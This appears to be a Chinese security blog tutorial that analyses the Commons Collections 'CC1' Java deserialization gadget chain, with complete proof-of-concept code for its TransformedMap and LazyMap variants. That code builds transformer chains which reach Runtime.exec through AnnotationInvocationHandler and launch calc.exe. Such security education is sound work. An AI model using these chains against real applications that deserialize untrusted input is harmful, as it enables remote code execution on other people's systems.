CommonCollections1简称CC1链,Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。Commons Collections组件里面定义了一个Transformer接口,InvokerTransformer实现了Transformer接口,且可以执行任意方法,这也是CC1链中的主角。
java < 8u71(再往后它的AnnotationInvocationHandler中readObject函数有改动)
CommonsCollections <= 3.2.1
网上CC1链的构造有两种,一个是使用TransformedMap类,另一个是利用到LazyMap类,先来看看较为简单的TransformedMap。
先看看如下一段代码
package ysoserial;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.*;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
这段代码运行结果如下
很明显执行了我们代码中定义的calc命令,那我们来逐行分析一下看看代码中是怎么执行命令的。
Map innerMap = new HashMap(); //20行
创建了一个HashMap对象赋值给innerMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //21行
调用了TransformedMap里的decorate方法 ,且把innerMap 传了进来,后面两个参数我们稍后在分析,看看TransformedMap.decorate这个方法
new了一个TransformedMap,再跟进
把传进的参数进行赋值了,根据参数传递关系,这里的keyTransformer和valueTransformer分别为null和transformerChain。
outerMap.put("test", "xxxx");
根据outerMap.put方法看看里面做了什么
调用了transformKey和transformValue方法
判断是否等于null,是null的话就等于传进来的object,不是null,则执行keyTransformer和valueTransformer的transform方法。
那现在我们把第20行、21行、22行代码联系起来
Map innerMap = new HashMap(); //20行
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //21行
outerMap.put("test", "xxxx"); //22行
TransformedMap.decorate用来修饰innerMap,也就是我们创建的HashMap,当里面的值不为null且发生改变时触发TransformedMap里的回调函数keyTransformer和valueTransformer。
这里触发了transformerChain回调函数,执行了transformerChain里面的transform方法,transformerChain是在第19行中创建出来的
Transformer transformerChain = new ChainedTransformer(transformers); //19行
实例化了ChainedTransformer把transformers传入,transformers我们后看,先跟进ChainedTransformer看看里面的transform方法
通过for循环把iTransformers数组遍历出来,依次调用transform方法,且是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊。那我们去看看iTransformers也是我们第19 行代码传入的transformers里面定义。
其定义在14-18行
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),
};
创建一个ConstantTransformer实例,并把Runtime.getRuntime()获取到的对象传入,跟进
直接赋值,然后通过回调transform把赋值后的iConstant返回
InvokerTransformer类是代码执行的关键,看看这里是怎么做的,创建一个InvokerTransformer,传入三个参数分别为("exec", new Class[]{String.class},new Object[]{"calc"})跟进
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
} public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
依次赋值然后回调transform,然后通过反射执行iMethodName方法,这样就达到了执行exec该方法的目的
一个接口,里面定义了一个未实现的transform方法,其中ChainedTransformer、ConstantTransformer、InvokerTransformer都实现了Transformer接口
package ysoserial;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.*;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
通过上面的代码分析,我们已经搞明白了命令执行的原理,把一个集合放入TransformedMap.decorate,且参数里面传入我们精心构造的transformerChain,最终通过outerMap.put的方法去触发回调,达到执行transformerChain里的一系列回调,最终执行我们定义的代码。
以上构造都是在本地运行,那么在反序列化中,我们该以什么样的思路去构造POC呢?
回想本地的POC,我们是outerMap.put触发transform回调,那么反序列化,我们就要寻找一个类其里面的readObject方法里面存在某个方法可以触发到transform回调。
这个类就是
sun.reflect.annotation.AnnotationInvocationHandler
AnnotationInvocationHandler.readObject里触发回调的方法就是
var5.setValue
所以可以构造如下POC去进行调试
package ysoserial;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
我们先不用去管为什么这样去构造POC,先去看看反序列化里面的逻辑,然后再回头来看为什么要这样去构造POC。在如下位置打上断点,进行调试程序。
程序已经成功走到断点处
一步一步走一下看看,首先拿到我们的反序列化流
这里获取传过来的注解
遍历var4里面的元素赋值给var5,而var4是this.memberValues.entrySet().iterator()获取的迭代器,this.memberValues其实就是我们反射构造器里传进来的outerMap
那最后直接条跳到最后一个断点
跟进这个对象的setValue方法
调用了this.parent.checkSetValue,而这里this.parent就是我们熟悉的TransformedMap,再往里面跟一步
transform回调就在这里被执行了,直接让程序走到最后,发现执行命令成功弹出了计算机
链子是通了,但是为什么要用如下的方式去构造POC呢
package ysoserial;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
对比最终的反序列化POC和最初的如下一段代码
package ysoserial;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.*;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
发现最大的区别就是获取Runtime这个对象的方式不同了
最初获取方式如下
最终POC获取方式如下
这是因为Runtime这个类是没有实现Serializable接口的,直接通过最初的Runtime.getRuntime()方式获取对象,在序列化过程中会报错,导致得不到流。
还一个问题为什么用Retention.class注解
这是因为AnnotationInvocationHandler里逻辑里有个如下判断
而让程序这个if条件为真的条件就是
1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
Annotation的子类,且其中必须含有至少一个方法,假设方法名是X2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
这也是为什么使用Retention的原因
当然这种注解不止是Retention,也可以用其他满足条件的注解替换。
LazyMap这个类也是ysoserial这款工具里CC1使用的类,LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
先上POC
package ysoserial;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class},
handler);
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
可以看到第一处与TransformedMap利用链不同的地方就是在42行使用了LazyMap.decorate方法,跟进看看
把我们构造好的transformerChain,传递给了factory,那怎么让它去调用factory里的回调函数transform呢,这要看LazyMap里的get方法了。
里面的逻辑是当get过来的值找不到时,就会调用factory.transform,所以我们还是要去寻找一个类,这个类里存在调用get这个方法。当然LazyMap这条链还是利用了sun.reflect.annotation.AnnotationInvocationHandler,但是AnnotationInvocationHandler这个类的readObject方法里面没有直接去调用get方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null; try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
但是AnnotationInvocationHandler这个类是实现了InvocationHandler这个接口的,且AnnotationInvocationHandler类的invoke方法里面是有调用get这个方法的
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
} switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
所以ysoserial的作者就想到了通过对象代理的方法去调用到这个get,这也是我们在POC的52-57行中看到的第二处与TransformedMap不同的地方。
运行POC也是可以成功执行命令的
https://t.zsxq.com/ZNZrJMZ //p牛java安全漫谈系列
点击下方小卡片或扫描下方二维码观看更多技术文章
师傅们点赞、转发、在看就是最大的支持